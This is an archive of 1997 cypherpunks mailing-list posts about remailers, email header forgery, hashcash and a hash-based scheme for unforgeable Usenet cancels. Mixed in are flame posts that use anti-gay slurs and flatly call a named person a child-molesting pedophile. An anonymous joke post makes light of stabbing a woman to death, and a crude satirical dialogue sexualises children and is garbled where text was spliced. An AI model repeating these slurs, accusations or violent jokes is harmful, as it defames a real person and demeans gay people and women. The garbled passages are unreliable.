
He also suggested beefing up keyserver submission checks (there are
none right now) so that you need a replyable address to submit a key,
otherwise the remailer-baiter just posts a key generated with their
"victim's" email address on it prior to sending to them.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199708080936.KAA01816@server.test.net>

Mike Duvos  writes:
> Someone wrote:

(That someone was me).

>  > What about AOL disks?  We need shorter lived, disposable
>  > remailers as exit remailers...  Let them take the heat,
>  > while the real remailers walk.  Lets see a series of
>  > "exitman" remailers.  Exitman remailers are walking targets
>  > left to fend for themselves as long as they may.
> 
> By reconfiguring current remailers to use a public Email service
> as the last link in the chain, we tap a potentially infinite
> supply of disposable accounts, on advertising-supported service
> providers with skins as thick as those of the bulk emailers.
> 
> Sounds like a plan to me.

OK, lets _do_ it!

Sounds much easier and less risky than relying on a recreational
cracker to provide a stream of short lived remailers as I was
suggesting.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199708080956.KAA01839@server.test.net>

Tim May  writes:
> [...]
> Nor are delivery services required to "know their customer" or to
> have ironclad proof of where a package originated. (Hell, even the
> U.S. Postal Service allows mail with no valid return address, and
> this was my experience in Europe as well.)

Because there is a from address people get picky that it ought to
contain a valid return address.  Many ISPs apparently have policies
which state that you aren't allowed to do SMTP forgeries.

Paper mail doesn't have this expectation.  Pity the people who
designed SMTP didn't leave this one out -- at this point it would be
difficult to get a From field added.  They could have followed the
paper mail norm and left it to the user to include (or not) whatever
contact info he wanted.  Of course you can see the natural convenience
of a From, or Replyto field, which is why it's there.

Now that the from field is there, it'll be even harder to remove from
implementations and protocols... basically impossible.

Still the spam counter-measure which many people are starting to use
of forging headers to avoid getting their email snarfed helps reduce
the expectation that the From field will contain anything useful.

However that isn't the only problem... the series of Received headers
allow those with the know how to recognise and narrow down where
forged mail came from.  But usually only to a mail hub where it was
injected at best, and then often only tentative with out collaboration
with involved sites.

Course Received: headers have their uses also, to debug sendmail
configs, and work out where mail is going.  Still would have been nice
if the feature was only included in the SMTP delivery stuff when
debugging mode was turned on.

> The "From:" field in e-mail is not to be confused with the "originator"
> (whatever that may be).
> 
> Not even the U.S. courts are so dumb as to accept the claim that a package
> delivered by the U.S. Postal Servie or by UPS means that Joe Deliveryman is
> the "sender."
> 
> When this "From:" thing eventually gets to a court, I expect this
> distinction will be obvious to all.
> 
> Remailers are just middlemen in a delivery process.

I hope you're right.

I still think laws against spam are the wrong approach, even if the
courts declare remailers as delivery mechanisms only.

	"Write code, not Laws."

(Btw who's quote is that?  I like it and wanted to quote it in an
article on Eternity.)

Re spam problems and writing code and not laws, hashcash was my best
attempt:

	http://www.dcs.ex.ac.uk/~aba/hashcash/

However coding is not the only problem, the other is getting people to
use stuff.  Advertising, subscribing to appropriate newsgroups, going
to IETF meetings, deployment wins, but stuff dies due to little
investment in advocacy.  I haven't got the energy or resources to
advertise the above.  I reckon you could make nearly a full time job
just reading and corresponding with people on enough news admin groups
and mailing lists to get your message across to enough people to even
begin to make an impact.

I wrote the eternity service implementation 3 months ago, released
source code: no interest.  (Bar a few email messages saying "cool").
No demonstration system was the problem.

Mike Duvos provided a demonstration system last week when I reposted
the announce due to his discussing similar ideas, and poof: 4 eternity
servers, wired article, another request to write an article for some
magazine, offers to give talks at US universities.  Wew.

I also reckon, though obviously this is difficult to measure, that the
few hours invested in producing the flashy title bar graphics with a
more professional take off of the cypherpunks rose on field of entropy
logo and pirate skull with crossed-swords added more to the appeal of
the service than adding more features.  My normal HTML coding style of
drab grey with no graphics at all just doesn't look appealing.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199708081127.MAA00177@server.test.net>

Jon Baber  writes:
> 1	When any message is sent a hash X is calculated as :
> 
> 			X = HASH(Mid,S)
> 
> 	where	Mid is the Message ID 
> 		S is a secret controlled by the author (eg a pass phrase)
> 
> 2	The hash value Y is then calculated such that:
> 
> 		Y = HASH(X) = HASH(HASH(Mid,S))
> 
> Any comments/glareing weaknesses that I have missed?

Sounds good to me.  I thought there was someone doing something like
this with hashes.  But then I never really looked into any of the
systems.  What does Greg Rose's PGPMoose do?  (One presumes it
involves PGP sigs?)

> This does assume that message IDs are available by the news program
> and are not allocated after sending. If this is not the case then it
> would be necessary to use other header information to calculate the
> hash such as the date/time and subject, or to store some kind of key
> at the authors end in order to reference the message (although in
> this case X may as well just be generated randomly and stored).

I think you don't even need this much uniqueness of hashing
material...

Say you just chose a random R and store it in ~/.news-preimage, and
HASH( R ) in ~/.news-image.

Now you post all of your posts with HASH( R ) in a header as you are
suggesting.

Now if you didn't want to be coerced in to cancelling your own posts
you just remove .news-preimage instantly.

You have to update your preimage for each cancel you do, but how many
cancels do people do anyway?  (Not many for their own benefit I
reckon).

This is a low security application, and ease of use over user typed
passwords will win I think.

Conceivably you could cope with the above by making .news-image
readable to the news system on your local net news service.  This
could transparently do the job without needing to update any clients
-- only an INN patch required.  Sounds like a phun project for
someone.

Issueing cancels would be more manual, but you could easily knock up a
perl script to instruct the NNTP server to do that.  (Or windows
program, or whatever).

If you really wanted to integrate cancels without updating clients,
for those that support them you'd have to give the NNTP news server
access to your preimage, R.  Not sure this is a good idea, as now your
ISP can be coerced into cancelling your message for you without your
cooperation.

Course all these problems go away if you do update clients, but it's
usually nice to offer an easy interim migration path, else no-one will
use it.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199708081140.MAA00231@server.test.net>

Damage Justice  forwards:
>
> [article describing a spam-baiting case with an unsuspecting
> business man as victim.  Some spammer sends spam purportedly from
> business man... business man gets lots of harrasing
> calls... business man calls for `accountability'... `government must
> do something']

I think this article lends credence to my recent arguments that
control of spam will lead to control of remailers.  Kent has been
arguing against these suggestions on the grounds that I am being
unrealistic or something.  More recently Tim expressed optimism that
attacks on remailers via this route be struck down by courts.

Now the spammers aren't using remailers that much at the moment.
Anti-spam laws will make them do so (or make them use off-shore
accounts).

When an incident like this happens via remailers, there will be
similar calls for `accountability' on the net, and for `government to
do something about the problem'.

If you're paranoid, you'll consider it likely that the mega-spam bait
through the remailer that is used as the show case will actually have
originated from a Fed Stooge.  (A la US Postal Inspector being
originator of Kiddie Porn that got the Thomases locked up in the adult
BBS case).

I don't spell out what a call to arms by USG on `accountability on the
net' is likely to spells for remailers, surely.  (Remailer user
escrow?  Banned remailers?  Illegality of using remailers even in
other countries?  Legislation calling for US ISPs to block non US
remailers?)

You should be worried, and you should be saying no to spam laws (or
any laws about net content).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199708081138.NAA07099@basement.replay.com>

> > How about if it is an employee of yours, using your computer
> > equipment, that sent the message, in explict contradition to your
> > companies stated policy?
> 
> Use a retraction server (David's project)

I wonder if there is a problem of inconsistent levels in this debate...

At one level, many people on this list are in favour of infrastructure
such as Usenet and the Web carrying all information without filtering with
respect to content, to avoid censorship, oppression and so on.

At another level, almost everybody has personal preferences as to what
they consider worthwhile information, what they want to read, what they
want their children/employees to read, and what they want their
privately-owned hardware to be used to carry.

At the content-free level, cancels are information just like anything
else, merely a stream of octets.  By definition, they _can't_ be morally
wrong at that amoral level where we talk only about whether
store-and-forward works properly or not.  Cancels, "forged" or otherwise
are just a tool, just bytes.

Within a particular value system, you might agree or disagree with a
particular cancel, or with the idea in general.  It's easy to configure a
news server or reader to conform to your preferences, just people who hate
spam are free to ignore it.  At this level, you can make judgements as to
which uses of that tool are justifiable.  (Cancels by sysadmins,
anti-spammers, spammers, system owners, governments, parents, copyright
lawyers or nobody at all.)

::Boots

  "I'm sorry but I just don't consider 'because he's a pedophile' to be a
   convincing argument."

From randerso at ece.eng.wayne.edu  Fri Aug  8 06:01:15 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Fri, 8 Aug 1997 21:01:15 +0800
Subject: "Voluntary Censorship" vs. Govt Legislation
In-Reply-To: <19970808062547.28652.qmail@hotmail.com>
Message-ID: 

On Thu, 7 Aug 1997, John Smith wrote:

> >The second thing, and most important, is that web search engines need 
> >to
> >index *every* page, and allow the topical/categorization system as a 
> >way
> >to further limit searchs.  
> 
> You can't make the web search engines do that.  It's a free country.

It's just a matter of convincing the major search engines to use this
system over some others, and to change their opinions on indexing
non-rated sites.

The only problem with rogue indexers is that the drive space for the index
is just enormous (think about how many pages there are on the net, just on
the web, ignoring Usenet entirely... I think most of the serach engines
store at least the first 100 bytes or so of each page, plus all the
indexing... it's rather big..)

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------

From dlv at bwalk.dm.com  Fri Aug  8 06:01:39 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 21:01:39 +0800
Subject: REPOST : Un-forgeable Cancels
In-Reply-To: <12867.9708080920@misun2.mi.leeds.ac.uk>
Message-ID: <5R04ae64w165w@bwalk.dm.com>

jbaber at mi.leeds.ac.uk writes:

> Any comments/glareing weaknesses that I have missed?

Well, you missed credited guys named Franz and Huusinen with proposing this
exact scheme a couple of years ago. You also missed my discussion on how to
allow the local admin to issue cancels as well.

I used to think this scheme is very cool.  Later I realized it had a serious
problem with forgeries in one's name.

Suppose X forges an article in Y's name, and specifies a cancel lock; then
Y can't cancel this forgery.

The retraction server which David is reported to be working on doesn't
rely on passwords on authenticate Y; if Y can demonstrate the ability
to receive a cookie sent to Y, then the server can issue a signed 'hide'
NoCeM for an article that purports to be from Y.  Works for forgeries too.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From dformosa at st.nepean.uws.edu.au  Fri Aug  8 06:03:09 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Fri, 8 Aug 1997 21:03:09 +0800
Subject: JYA Up
In-Reply-To: 
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 6 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa}  writes:

[...]

> > You don't get connectivity off of AGIS becuase no-one connnects.  AGIS'
> > routers ect are so misconfigered ect that pagets seem to move threw it
> > more by coninicdence then anything else.
> 
> David, it's remarks like these that cause people to conclude that you're
> not very bright.  I'm not a customer of AGIS or any of its downstreams,
> and I get excellent connectivity to their sites.

When agis allowed peaple to measure there performence it was always on
the poor side,  now that AGIS is blocking all attempts to mesure packet
loss over its network (hiding under the excuse that these are attacks)
no one can realy tell.

>  I remind the readers
> that certain groups on Usenet hate AGIS because of their refusal to
> censor content.

It would have more to do with hosting Spamford Wallis the internets second
worst abuser.

> E.g. read the Net.Scum page for Debbie Taylor to read
> how the homos tried to censor the Web site called "www.gothatesfags.com"

I have no problems with that web site's existence.

> For this reason, homos (is David one?)

I'm not gay but my boyfreand is :D.[1]

> spread lies ike the above about AGIS, using meaningless technical jargon
> and implying that that it doesn't work properly,

It dosn't,  see the articals about it going down (still haven't found that
'hacker'), see the articals about how it advertised routs that it didn't
own, see ...

[1] Demitri A little bit of resurch would of established what my
sexualiaty is.  For the record most of my parteners have been femail

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+rX66QK0ynCmdStAQFw0wQAyX56VZP2xBxw/RxGz/z35BbNrjt0J/YW
pBMKtYR5YZVEWhEdjD4vxQSDN7xtwTxvZZJbxBeDweW9rqdohEL6aPIhK60/piAG
50w0uABSIRxT3YcPgSmgSEvLqGWATtyUgu6jQFQ+jpfzsYkQk3uwn8IiUWpg5jvq
mbaRS8/ZEYk=
=omax
-----END PGP SIGNATURE-----

From dlv at bwalk.dm.com  Fri Aug  8 06:09:34 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 21:09:34 +0800
Subject: Death of the North American Crypto archive?
In-Reply-To: <3.0.3.32.19970807212752.00931870@teal.csn.net>
Message-ID: 

Michael Paul Johnson  writes:

> Alas, it wasn't government regulation.
> It wasn't patent entanglements.
> It wasn't spooks.
> It is economics. Can anyone suggest an alternate host that might provide room
> for a few hundred megabytes of ftp access for free (or nearly free)? Can
> someone else in North American mirror all of that data, quickly, before the
> site shuts down?

If it's under 650MB, I can fit it all on 1 CD...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From tm at dev.null  Fri Aug  8 06:15:54 1997
From: tm at dev.null (TruthMailer)
Date: Fri, 8 Aug 1997 21:15:54 +0800
Subject: The BIG Lie (Jesus Confesses)
Message-ID: <199708081253.GAA06495@wombat.sk.sympatico.ca>

[From the "I Have Too Much 'Time, Inc.' On My Hands, So This Must Be 
 _Official_ News" Web site.]

  I couldn't help but notice that the supposed pillars of the religious
community, as well as their oh-so-decent-and-righteous followers, tell
such widespread, whoppingly big lies about the motivations behind their
public actions, as well as about their future intentions, that the true
source of corruption in the religious community must undoubtedly come
from "higher up" in the chain of commandments.

  For example, those who are concerned about their children accessing
obscene and satanic material on the InterNet might be expected to
supervise their children, as well as acquiring the InterNet tools that
are available for limiting their children's access to things which the
parents find objectionable. You would also expect them to seek out
information on sites that met standards that they found acceptable for
their children to access.
  In short, if their interests truly lay in censoring the information
their children access, you think they would do exactly that--control
and censor their children's activities on, and access to, the InterNet.

  I couldn't help but notice that, instead, they want to control the
activities and access of everyone who uses the InterNet. I find it hard
to believe that these people can claim to have the intellect to form
valid beliefs about religious and moral issues, yet not be intelligent
enough to understand the options available to them.
  This leads me to suspect that they are, in reality, two-faced liars,
particularly since impartial observers can predict the oppressive and
censorous results which are usually the exact opposite of what they
claim to be their intentions.

Patient: "Doctor, it hurts when I do _this_."
Doctor: "Then don't _do_ that."

   If those calling for control and censorship are truly worried about
their children, you would expect then to teach their children not to
"do that," and to not make available to them things which will allow 
them to "do that" if they have raised their children to be disobedient
and/or irresponsible.
  Instead, they seem to be taking the moral "high ground," as if under
the impression that they are moral "doctors" charged with diagnosing
others as having diseased morals, even if the others don't hurt when
they "do that."

Problem: Little Johnny wants to visit Paul Bradley's "Jesus Loves the
  Little Children From Behind" web site.
Solution: Don't let him do that.

Problem: Little Johnny might visit the Duncan Frissel "Pictures of 
  Jesus" site and find pictures of Jesus buggering the little children.
Solution: Don't let Little Johnny access sites that you don't know to
  be acceptable according to your standards.

  Now, was the foregoing too hard for those reading this to understand?
  If not, then what could be the reason for those promoting contol and
censoring of other people for suggesting the following option...
Problem: Little Johnny might access something on the InterNet which does
  not meet standards that his parent's find acceptable.
Solution: Require everyone on the InterNet to only engage in activities
  which meet the standards of Little Johnny's parents, starting by 
  putting the onus on everyone on the InterNet to "voluntarily" rate
  their website according to the standards of Little Johnny's parents.

Question:"When was the last time a doctor you didn't know made a 'house
  call' to check on your health, forced his way in when you objected,
  and gave you a prostrate exam against your wishes?"
Answer:"When the government declared that prostrate cancer was a threat
  to 'national security' and that early detection would 'protect the
  children' from child molesters and drug dealers."

  Since spirituality is not inherently related to fascism, it seemed to
me that the moral fascism being promoted by members of the Christian
community must be the result, not of spiritual values, but rather,
the result of the leader of the Christian religion being a moral
fascist.
  It was also obvious that, given the vast amount of lies being told
by Christians about their beliefs, motivations, and intentions, that
Christianity must be founded on lies and disinformation.
  Since I do not like to speak ill of someone without taking pains to
understand them from the standpoint of their own knowledge and beliefs,
I decided that I should have a talk with Jesus Christ, the founder and
espoused leader of the Christian religion, and give him a chance to 
respond to my view of himself and those who follow his example.

  Mr. Christ was kind enough to let me take notes during our long
conversation, so I am providing a transcript of the highlites of
the issues we discussed:
-----------------------
TruthMonger: "Mr. Christ..."
Jesus Christ: "Please, call me Jesus."

TruthMonger: "OK. Jesus, what the fuck is going on with all these people
  claiming that they have the right to force everyone on the face of the
  earth to live only within the boundaries of moral judgements approved 
  of by you?"
Jesus Christ: "Well, TruthMonger, you have to understand that I am the
  _only_ Way, the _only_ Truth, and the _only_ Light.  Accordingly, it
  is reasonable for my followers come to the conclusion that whatever
  I approve of is good and that everything else is bad."

TruthMonger: "As in, 'Everything Not Permitted, Is Forbidden!'?"
Jesus Christ: "Exactly. By the way, is that from '1984' or from 'Animal
  Farm'?"

TruthMonger: "Don't try to change the subject. Jesus! Oh, I mean that
  as a swear word, by the way...but this is exactly what I object to
  in your followers--the fuckers never give a straight, truthful 
  answer to the 'hard' questions. They always fall back on some inane
  quote of yours that has little to do with the issue being discussed."
Jesus Christ: "Well, you can't hold me accountable for their actions..."

TruthMonger: "Like _fuck_ I _can't_, shit for brains. You're in America,
  buddy, and we have conspiracy laws here. If the members of your cult
  go down, then you go down with them, and vice-versa.
  "You ever hear of Waco? David Koresh? Maharishi? John F. Kennedy?"
Jesus Christ: "You're trying to twist things around here, by comparing
  me and my followers to small cults and Democrats. After all, America
  is largely a Christian nation with Republican family values."

TruthMonger: "Bullshit! It's a democracy, with a legal seperation of
  Church and State. "America is a Christian nation" is just one more
  example of the lies your followers try to propogate every chance
  they get. It's clearly not true, but they refuse to face reality."
Jesus Christ: "I said, 'largely'."

TruthMonger: "Exactly. You use a word that infers that a 'majority'
  of Americans are Christian, in order to suggest that Christianity
  and Democracy are kissing cousins. This is the same goddamn thing
  that your followers do by constantly taking a smug, self-righteous
  stance that concepts like freedom, democracy, right and wrong, are
  all dependent on or connected to the Christian 'majority's' beliefs
  and morals.
  "You could just as well say, 'America is largely a "white" nation'
  but that pig doesn't fly anymore."
Jesus Christ: "Now _you're_ trying to twist _my_ words."

TruthMonger: "Christ! Oh, that's meant to be a swear word, too...BTW.
  "What I mean is that your words are being twisted a lot more by
  your Christian bum-buddies than I could ever hope to manage.
  "Which wouldn't concern me in the least if they weren't trying to
  force a potpourri of alleged 'superior' moral beliefs on the rest
  of us. This is the crux of the matter. As far as I am concerned.
  Christian fascism is the enemy of democracy and freedom."
Jesus Christ: "Well, that's one way of looking at it. However, you
  might also say, 'It's not perfect, but it's the best system we've
  got.'"

TruthMonger: "Please don't insult my intelligence. You could say the
  same thing about a bowl of 'shry back to take over until you're
  sure that your fascist lackeys have all the freedom lovers in
  chains."
Jesus Christ: "Is that supposed to be some kind of threat?"

TruthMonger: "Hey, pal. All I'm saying is that what is good for the
  gander is good for the goose.
  "As long as this country remains a democracy, then you'd better
  think twice about claiming to 'love all the little children' and
  you'd damn sure better make certain you have all the right permits
  before you go around turning water into wine."
Jesus Christ: "I resent the implication that I love the children 
  in anything but a purely 'spiritual' way."

TruthMonger: "Well, pal, the circumstantial evidence is against you
  on this one. Wasn't your father involved in some kind of scandal
  where he made a man and woman naked and then told them to fuck
  and party down?"
  "If I remember right, he had some kind of fetish about telling the
  Jews to fuck a lot and was always talking about their 'cum'."
Jesus Christ: "He used _decent_ words, like 'be fruitful and 
  multiply', and 'seed', not 'cum'."
  "And you should have capitalized the word 'Father' when you made
  mention of him, BTW"

TruthMonger: "Fuck you pal, I'm sending this to the CypherPunks
  mailing list. Are you the new list moderator? 
  "Good fucking luck..."
Jesus Christ: "I don't have to take this kind of abuse. I'm putting
  you on the 'flames' list."

TruthMonger: "Big deal. I'm already in Tim C. May's 'killfile'."
Jesus Christ: "If intolerance is such a Christian trait as you claim,
  then why is my 'flames' list smaller than Tim May's 'killfile'?"

TruthMonger: "Now you're twisting _my_ words. Are you related to
  Kent Crispin? Say... Come to think of it, why has no one ever seen
  the two of you together?"
Jesus Christ: "Let's just say that Kent and I agree on many issues
  that have to do with the sanctity of a higher authority.
  "No one has ever seen the evil Dr. Vulis and Satan together,l of eternity', then you'd better get to work on a way to
  stop the CypherPunks 'Eternity Server' from routing around fascist
  Christian moralism."
Jesus Christ: "Adam Back... Isn't he a member of that weirdo "Circle
  of Eunuchs" cult?"

TruthMonger: "That's for me to know, and for you to find out, pal.
  "Unless you can break PGP, of course."
Jesus Christ: "Hey, I'm just Jesus. I'm not Phil Zimmerman, for 
  _My_ sake."

TruthMonger: "Hey, watch your language."
Jesus Christ: "Sorry, I meant to say 'for _Dimitri's_ sake'."

TruthMonger: "I'll tell him you capitalized his name. He'll get a
  kick out of that.
  "Any last words before I turn in for the night?"
Jesus Christ: "Christianity recognizes privacy and freedom as damage,
  and steamrollers over them."

TruthMonger: "No shit!"
-----------------------

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
All references to Tim C. May's Vernacular Translation of the Bible
are used without permission.
What's he going to do, sue me? Then he'd have to admits he gets
vicarious pleasure out of reading the posts in his killfile.
{There's more than _one_ way to push a  key.}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From nobody at REPLAY.COM  Fri Aug  8 06:31:27 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Fri, 8 Aug 1997 21:31:27 +0800
Subject: Source Code for New Encryption Algorithm
Message-ID: <199708081258.OAA15145@basement.replay.com>

Source Code for the Dick TruthMeasure Encryption Algorithm:
(c) "The Hoff-Center of Virtual Math"

==============> 
|| + DOOM = DICK + DEATH = 2" + NULL = Nine Inch Nails

## Proof of Theorem:
## 
## If she says "I want nine inches, and I want to bleed." and you give
## her two inches, four times and stab her to death, using a 6" knife,
## then 4(DICK) + 6" = 8" + 6" = Nine Inch Nails.
##  
## Therefore, Nine Inch Nails band members have 14" Dicks.
##
## Basing the Private Key on Nine Inch Nails private parts, and the
## Secret Key on the secret location where the dead woman's body is
## buried, the sick, twisted creators of the "Dick TruthMeasure 
## Encryption Algorithm" have produced a cryptography product which 
## cannot be broken by normal people, using normal math.
## This has been confirmed by the independent research of Carol Anne
## Cypherpunk, who reports that Kent Crispin has always claimed that
## this, ================>, is eight inches, while Tim C. May claims
## this, ================>, is fourteen inches.
## Her research methods have been approved by TruthMonger, who
## states, "Give her two inches, and she takes a mile. She never 
## judges an encryption algorithm until she's fucked a mile with 
## your Dick in a 'rubber boot'."
## In response, Carol Anne Cypherpunk said of TruthMongers sexual
## prowess, "He claims that his Dick was the inspiration for the
## Eternity Server, but it is a forgery, like his posts to the list.
## It just _seems_ like it never ends when you are subjected to
## abuse of either of them. A mile, my ass..."

 (I mean, )

From dlv at bwalk.dm.com  Fri Aug  8 06:37:29 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 21:37:29 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <199708081138.NAA07099@basement.replay.com>
Message-ID: 

nobody at REPLAY.COM (Anonymous) writes:

>   "I'm sorry but I just don't consider 'because he's a pedophile' to be a
>    convincing argument."

We hate Chris Lewis because he forges cancels (and not only for "spam"),
but just because he's an icky child-molesting pedophile.

Death to censors!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From dlv at bwalk.dm.com  Fri Aug  8 06:38:07 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 21:38:07 +0800
Subject: Platypus and the kangaroos
Message-ID: 

? the Platypus {aka David Formosa}  writes:

> > E.g. read the Net.Scum page for Debbie Taylor to read
> > how the homos tried to censor the Web site called "www.godhatesfags.com"
>
> I have no problems with that web site's existence.

I haven't looked at the site (I conclude from the name that it's probably not
something I care to see), but I will fight for its free speech. Apparently
a number of people listed at the Net.Scum site do want to shut down this
site because they don't like its name and/or contents.

Agis's troubes with the (largely homosexual) Net.Cabal started before they
signed up Stanford Wallace.

> [1] Demitri A little bit of resurch would of established what my
> sexualiaty is.  For the record most of my parteners have been femail[2]

David, with all due respect, I got more interesting things to research
than your sexuality! :-)

[2] Have any of the "others" been kangaroos?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From jbaber at mi.leeds.ac.uk  Fri Aug  8 06:41:41 1997
From: jbaber at mi.leeds.ac.uk (jbaber at mi.leeds.ac.uk)
Date: Fri, 8 Aug 1997 21:41:41 +0800
Subject: REPOST : Un-forgeable Cancels
Message-ID: <12952.9708081327@misun2.mi.leeds.ac.uk>

Glad that the mail got through that time - not forged cancels though I am 
sure, more likely a cock up with my mail sppol.....

> Adam Back  writes: 
> Sounds good to me.  I thought there was someone doing something like
> this with hashes.  But then I never really looked into any of the
> systems.  What does Greg Rose's PGPMoose do?  (One presumes it
> involves PGP sigs?)

I must admit that not being a news admin and rarely posting to news I have
not realy looked at what is being worked on. I was just reading the 
'forged cancels' thread when I though of the hash idea.

>From what I can see (the full README is unavailable) PGPMoose is designed
to Cancel messages in a moderated newsgroup that have not been approved by
the moderator - by using PGP sigs to authenticate the approval.

see http://people.qualcomm.com/ggr/pgpmoose.html

This could be modified for general cancels but would then involve PGPMoose
having access to every authors Public Key.

> > This does assume that message IDs are available by the news program
> > and are not allocated after sending. If this is not the case then it
> > would be necessary to use other header information to calculate the
> > hash such as the date/time and subject, or to store some kind of key
> > at the authors end in order to reference the message (although in
> > this case X may as well just be generated randomly and stored).
> 
> I think you don't even need this much uniqueness of hashing
> material...

Personally I would prefer a unique value for every message, especially if
I was a prolific sender of news.

> Say you just chose a random R and store it in ~/.news-preimage, and
> HASH( R ) in ~/.news-image.
> 
> Now you post all of your posts with HASH( R ) in a header as you are
> suggesting.
> 
> Now if you didn't want to be coerced in to cancelling your own posts
> you just remove .news-preimage instantly.
> 
> You have to update your preimage for each cancel you do, but how many
> cancels do people do anyway?  (Not many for their own benefit I
> reckon).

This would work well but would allow an attacker to cancel any message sent
using that value of R as soon as the author sent a message. Generally
the more messages that you sent the more vulnerable you would be to this
(as more of your articles would still be in the news feed) - exactly how
much of a problem this would be depends on whether archivers accept cancels
(which I doubt) and how long the news group in question is stored in the news
spool before timing out.

> This is a low security application, and ease of use over user typed
> passwords will win I think.

This I completely agree with, I was initally thinking of leaving the password
as an Environmental variable set when the user logged on (.cshrc, .login,
AUTOEXEC.BAT etc as appropriate). It makes very little difference if this
is the case or if it was stored in a file, however a good news program could
offer the option of using a different random/secret for any particular message
if the author wanted it to be [more] secure from their systems manager.

> Conceivably you could cope with the above by making .news-image
> readable to the news system on your local net news service.  This
> could transparently do the job without needing to update any clients
> -- only an INN patch required.  Sounds like a phun project for
> someone.

This is far simpler than if you calculate a unique hash for each new
message and may be the part that wins the day.

> Issueing cancels would be more manual, but you could easily knock up a
> perl script to instruct the NNTP server to do that.  (Or windows
> program, or whatever).

I think that issueing cancels should be more complex than just clicking on
a button - after all once you have said something there is very little reason
to try to cover it up - in most cases a simple correction would do.

> If you really wanted to integrate cancels without updating clients,
> for those that support them you'd have to give the NNTP news server
> access to your preimage, R.  Not sure this is a good idea, as now your
> ISP can be coerced into cancelling your message for you without your
> cooperation.

This would generally be a bad idea, however you should remember that the
NNTP news server could simply be modified to overwrite yor Cancel_Ref:
header with their own value of Y anyway or even just not forward your
article, just as any news admin could (any news admin can only change those
'down the path' from them).

> Course all these problems go away if you do update clients, but it's
> usually nice to offer an easy interim migration path, else no-one will
> use it.
> 
> Adam

Again true, however this is true for any cancel checking mechanism. As far
as I can see the advantage to this idea over digital signatures is that the
NNTP program that has to decide whether to accept the cancel or not does
not need access to the public key of the sender.

Another thing is that the modification to the NNTP program is the same whether
you use a unique hash per message or a stored ~/.news-preimage as all that
it has to do is check that the value included in the cancel message hashes
to the value in the original message. This would allow quick updates to both
NNTP and the news-reader (probably originally using the stored preimage) and
later versions of the news-reader to be updated to include the unique hash
(which can still operate transparently to the user, using either a file or
environmental variable) without having to make any changes to the NNTP program.

Thanks for the comments,

Jon
http://chem.leeds.ac.uk/ICAMS/people/jon/

From trei at process.com  Fri Aug  8 06:50:09 1997
From: trei at process.com (Peter Trei)
Date: Fri, 8 Aug 1997 21:50:09 +0800
Subject: Query on cookies
Message-ID: <199708081336.GAA04744@toad.com>

> Date:          Thu, 7 Aug 1997 23:24:28 -0400 (EDT)
> From:          Declan McCullagh 
> To:            "Dr.Dimitri Vulis KOTM" 
> Cc:            cypherpunks at toad.com
> Subject:       Re: Query on cookies
> Reply-to:      Declan McCullagh 

> I believe this is what the folks at Netscape tried to eliminate in 4.0,
> which I'm told features four cookie settings. One rejects "third party
> cookies."
> 
> -Declan

Well, I'm using version 4.01a for NT. There are three settings for 
cookies:

1. Accept all cookies.
2. Accept only cookies which get sent back to the originating server.
